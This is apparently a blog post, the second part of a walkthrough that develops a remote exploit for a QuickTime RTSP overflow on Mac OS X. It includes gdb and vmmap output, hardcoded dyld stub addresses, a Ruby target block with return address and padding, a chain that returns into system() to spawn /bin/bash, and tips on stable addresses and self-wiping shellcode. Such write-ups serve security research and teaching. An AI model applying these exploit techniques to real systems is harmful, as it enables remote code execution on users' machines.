A new Quicktime vulnerability in the wild (RTSP again) (2)

Make sure you have read the first part of this article already!

From the XNU 9.0 source code, we have some interesting snippets around:

896         /* load_machfile() maps the vnode */
897         (void)ubc_map(imgp->ip_vp, PROT_READ | PROT_EXEC);
538 #ifdef notyet
539 /* Hmm .. */
540 #if defined(VM_PROT_READ_IS_EXEC)
541                 if (prot & VM_PROT_READ)
542                         prot |= VM_PROT_EXECUTE;
543                 if (maxprot & VM_PROT_READ)
544                         maxprot |= VM_PROT_EXECUTE;
545 #endif
546 #endif /* notyet */
547
548 #if 3777787
549                 if (prot & (VM_PROT_EXECUTE | VM_PROT_WRITE))
550                         prot |= VM_PROT_READ;
551                 if (maxprot & (VM_PROT_EXECUTE | VM_PROT_WRITE))
552                         maxprot |= VM_PROT_READ;
553 #endif  /* radar 3777787 */

Pay attention to the VM_PROT_EXECUTE flag. Let’s get back to the exploit development: we have reliable EIP control and we can most probably make use of return to libSystem (good old ret2libc) or jump into heap. But Leopard randomizes some library addresses… Let’s see how the process memory layout looks like for Quicktime:

(gdb) shell vmmap 18909 | grep MALLOC
MALLOC (freed?)        00122000-00123000 [    4K] rw-/rwx SM=COW
MALLOC_LARGE           00124000-0012a000 [   24K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           0012d000-0012e000 [    4K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           00135000-0013e000 [   36K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_TINY            00200000-00300000 [ 1024K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           003bf000-003ca000 [   44K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           003f9000-00401000 [   32K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           00405000-00406000 [    4K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           0042f000-00459000 [  168K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_LARGE           007ee000-007f7000 [   36K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_SMALL           00800000-01000000 [ 8192K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           1450f000-14517000 [   32K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC_TINY            14900000-14a00000 [ 1024K] rw-/rwx SM=COW  DefaultMallocZone_0x200000
MALLOC_LARGE           15d1d000-15d27000 [   40K] rw-/rwx SM=PRV  DefaultMallocZone_0x200000
MALLOC                  [   10.4M]

The Mac OS X implementation of malloc() has been explained extensively in one of the issues of the Phrack magazine. It’s out of the scope of this article to explain its design, but it’s worth mentioning how heap tricks can help to find a more stable location for our shellcode.

Quicktime makes extensive use of dynamically allocated memory, like most multimedia applications. Again, read the permission flags associated to each memory region: they seem to be rather permissive

Our response is likely stored or replicated in heap space, and that’s where we should start looking for a reliable return address or point to jump at our shellcode. A reliable exploit must always try to:

  1. Use (almost) static addresses or offsets that remain stable across instances or different executions of the software.
    1. If the target is a web browser plugin, would the exploit work if multiple tabs or browser instances have loaded the plugin?
    2. If it’s a remote service, does the required address represent that of a loaded module or belongs to the daemon binary itself?
  2. Never rely on extraneous settings or non-default configuration.
    1. That includes big *** UDP packets that will be promptly filtered by any decent gateway.
  3. Attempt, as much as possible, to restore or repair the process status after execution of our shellcode:
    1. Use valid or non-critical addresses for register values or anything requiring them.
    2. Restore frames necessary to continue execution.
    3. Clean any left-over memory or allocated data we have used (normally this is oriented towards anti-forensics).
      1. Shellcode that wipes itself off memory is elegant and popular among experienced exploit developers (quite a few Chinese guys for instance).
      2. Using Metasploit-baked shellcode is not that elegant… (although it’s perfect as a starting point).
      3. We know that distributing custom shellcode is not a good idea. There are several organizations interested on profiling you based on such information. You may as well stop posting to full-disclosure.
    4. If it’s not possible, consider re-spawning the process with the same arguments, environment and configuration.

McNasty and the amazing dyld stubs (reliable on Tiger)

Every platform has its own quirks for making exploits more reliable. Mac OS X is no exception. From the Mac OS X ABI Dynamic Loader Reference:

The dyld stub binding helper is a glue function that assists the dynamic linker in lazily binding an external function. When the compiler sees a call to an external function, it generates a symbol stub and a lazy pointer for the function. At the call site, the compiler generates a call to the symbol stub. The symbol stub is a sequence of code that loads the lazy pointer and jumps to it.

Some examples of stubs, found for Quicktime in a clean, up-to-date installation of Leopard:

0xa0a36c07 <dyld_stub_system>:   jmp    0×91bbf3a4 <system>
0xa0a36c0c <dyld_stub_time>:     jmp    0×91b5f7cf <time>
0xa0a36c11 <dyld_stub_timegm>:   jmp    0×91b97f84 <timegm>
0xa0a36c16 <dyld_stub_tzset>:    jmp    0×91b723ea <tzset>
0xa0a36c1b <dyld_stub_usleep>:   jmp    0×91ba9942 <usleep>
0xa0a42037 <dyld_stub_mprotect>: jmp    0×91bb02bf <mprotect>

Basically when one of the stubs gets called, it jumps to the right location of the specific external function. Arguments and any other variables will be processed there. For our purposes, this is a similar technique to the classical return-to-libc. With a hop in-between.

The stub is simply a placeholder.

Let’s see what happens when we use the address of the exit() dyld stub (dyld_stub_exit) as our return address:

gdb) x/x dyld_stub_exit
0xa0a7e44a <dyld_stub_exit>:	0×0dc3e0e9

The correct target information for the exit() stub (at 0xa0a7e44a):

    "7.3-Mac 10.5.1-IA32" => {
      :ret_address  => 0xa0a7e44a,
      :padding_size => 291,
      :prepend_data => (
        [0×11223344].pack(”V”)  +   # ebx
        [0xbabebeef].pack(”V”)  +   # esi
        [0×31337666].pack(”V”)  +   # edi
        [0xdefacedd].pack(”V”)      # ebp
      ),

The exploit listens for connections, and sends the payload once a vulnerable client connects:

qtimertsp_redux.rb: Return address: 0xa0a7e44a, shellcode: 10 bytes.
qtimertsp_redux.rb: Payload: 315 bytes (padding=gggggg...=0x67)

Quicktime process exits cleanly!

Reading symbols for shared libraries + done
Program exited with code 0163.
(gdb)

Obviously, exiting the process isn’t useful. Not until we have done something more productive with the execution flow… and we need a flexible way to execute our shellcode or a command of our choice. We have some possibilities:

  • Use mprotect() to make the stack executable and then jump on the shellcode there.
  • Use system() to execute commands. This is limited to the software available locally, therefore we should try to download some binary with curl and then execute it.

Apparently, we are better off using shellcode to perform whatever operations we require (binding a shell, staging more complex functionality…). The infamous Month of Apple Bugs released an exploit using an old style return-to-libc technique with system(). We are instead using the dyld stubs that in some cases remain stable (later on, they will change when a new dyld cache is built, this is documented):

When the cache is built, the addresses of the dylibs are intentionally randomized, thus when debugging you may notice that the address of OS routines like malloc is different on every machine.

That means, unlike for Tiger, Leopard payloads will either work on a specific installation or only in clean, recently installed systems (we are still investigating the extent of the ASLR functionality). We observed that two different installations of Leopard (thanks to Kevin Finisterre for testing it as well) had the same stub addresses once, during the early stages of development (we haven’t been able to reproduce this again).

After updating our code and searching the process memory for potential static addresses to place our command string or use an existent one, we found the ever handy /bin/bash (which in this case, serves as simple demonstration):

Starting program: /Applications/QuickTime Player.app/Contents/MacOS/QuickTime Player
Reading symbols for shared libraries . done
2007-11-26 02:53:25.858 QuickTime Player[21161:813] .scriptSuite warning for argument 'UsingDescriptors' of command 'SaveReferenceMovie' in suite 'QTPSuite': 'list' is not a valid type name.
bash-3.2$ exit
exit

Breakpoint 1, 0xa0a7e44a in dyld_stub_exit ()

And the code behind the magic: first the return address pointing to the system() dyld stub, then the address to the exit() stub and finally the address to the command string for system().

[0xa0a7e44a].pack("V")  + # saved eip -> dyld_stub_exit
[0xbffffaa3].pack("V")    # stable address to /bin/bash

Now, we are trying to use our own command string: it’s time to look for a stable location (the following addresses might differ from that of the publicly released exploit):

1: 0087871D 0087C31D 008B719F BFFFD1B3
2: 0088CF1D 0088DD1D 0089599F BFFFD1B3
3: 0087871D 0087C31D 008B719F BFFFD1B3
4: 0089ED1D 008BEF1D 008C599F BFFFD1B3

We have a problem: the addresses change in a manner that is not suitable for our particular technique. Why? Because we don’t have the possibility of using a useful NOP sled.

We need an exact address for our command.

And NULL bytes are also problematic. There’s one specific address that didn’t change there, and doesn’t contain filtered characters; after using it, we realized it wasn’t stable enough for different environments. This illustrates so far the process of developing an exploit using the return to dyld stub technique. Finding a reliable address for our string will most likely be the only difficulty in the process.

Some tips:

  • The environment variables usually stay static. If you are able to either poison an environment variable or use existent data from it (for example the /bin/bash string), take advantage of it!
  • If you can send more than just a few hundred bytes, try to send a long pattern you can trace in memory and detect places where it has been replicated. You might be lucky and find heap regions containing your data, in more or less static positions. Metasploit can automate this (with the pattern generation methods).
  • If it doesn’t work during the first tests, keep trying. In many platforms, a debugged program performs memory allocation differently when it’s being debugged. The environment is slightly different (as an exercise, look for the location of different variables when starting the program from Terminal, a Dock icon or gdb itself).
  • Spend some time working on a process manipulation tool that automates these tasks!

“A process cannot be understood by stopping it. Understanding must move with the flow of the process, must join it and flow with it.” Dune (1965) by Frank Herbert

The End

Hopefully it was entertaining to walk through the exploit development process, and you had fun playing around! Security can’t be approached with text book knowledge, it’s something you have to experiment and research on your own. Since we believe there’s a need for documenting Mac OS X security, from a technical perspective, we are conducting some efforts for producing a helpful resource to understand exploit development and techniques for this platform. It might take some time but we promise it’s worth waiting.

“Any path that narrows future possibilities may become a lethal trap.” Children of Dune (1976) by Frank Herbert

Thanks for reading!

Share: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • Technorati
  • StumbleUpon
  • Slashdot
  • Netscape
  • Netvouz
  • Furl
  • Ma.gnolia
  • Fark
  • NewsVine
  • Reddit
  • Spurl
  • YahooMyWeb
  • BlogMemes
  • Facebook
  • Live
  • e-mail
  • Google
  • BarraPunto
  • Meneame
  • TwitThis

2 comments ↓

#1 Hacker monitoring URLs? on 12.05.07 at 11:56 am

Prior to my activating stealth mode in 10.5.1 on a G5 it appears that I was attacked (very probably via this exploit) at one of the following URLs…

http://www.hackerwatch.org/probe/
http://www.pcflank.com/ (choose “Advanced Port Scanner” in the left column navbar)
https://www.grc.com/x/ne.dll?bh0bkyd2

I have been using Macs for ten years and have never had my system act up the way it did immediately after having my ports scanned at the above URLs.

Examples: Mail launched automatically after reboots (though I do not have it set to launch at startups). My Apple Bluetooth keyboard became unusable at startups (i.e. no key functions would work) so I had to reinstall QuickTime 7.3 to get it functioning properly again. Menus took 10-15 seconds to appear after being clicked on and in general the entire system virtually came to a halt. I have never had a problem like this EVER before.

#2 Subreption Team on 12.06.07 at 2:59 pm

Those services doubtfully have anything to do with the annoyances you are experiencing, and exactly the same happens for the Quicktime vulnerability. If you have been compromised with it, the safest option is doing a fresh install again and don’t use any applications or executable binaries from the old installation.

It would be funny to see Steve Gibson attacking Macs, though. :)

Leave a Comment